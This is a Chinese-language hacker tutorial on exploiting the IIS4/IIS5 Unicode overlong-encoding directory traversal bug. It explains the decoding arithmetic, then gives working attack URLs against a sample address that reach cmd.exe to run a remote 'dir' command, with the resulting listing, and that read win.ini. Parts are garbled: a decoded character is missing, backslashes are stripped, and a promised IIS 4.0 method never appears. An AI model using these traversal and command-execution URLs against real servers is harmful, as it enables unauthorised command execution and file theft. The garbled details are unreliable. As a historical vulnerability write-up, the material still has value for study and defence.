IIS5 UNICODE 编码漏洞的利用心得
大家一定都知道那个风光了很久的IIS5 UNICODE 编码漏洞吧。没办法,第一篇教程不知道写什么好,随便先凑合着,就写一下这个漏洞的攻击心得吧。
1 首先我们来看看这个漏洞的原理。
在中文版的IIS4,和ISS5中,存在一个BUG,原因是UNICODE编码 存在BUG 在UNICODE 编码中,发现了一个奇怪的编码方
式,
例如:
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh.
例如
(Windows 2000 + IIS 5.0 + SP1 简体中文版):
http://192.168.8.48/A.ida/%c1%00.ida
IIS 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40='@'
http://192.168.8.48/A.ida/%c1%01.ida
IIS 将返回 "A.ida" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41='A'
http://192.168.8.48/A.ida/%c1%02.ida
IIS 将返回 "B.ida" 找不到该文件 ....
http://192.168.8.48/A.ida/%c0%21.ida
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ''
所以我们就可以用这种方法进入一些目录。
(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样我们将得到
Directory of d:inetpubscripts
2000-09-28 15:49 〈DIR〉
. 1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。
补充:asp教程,安全加密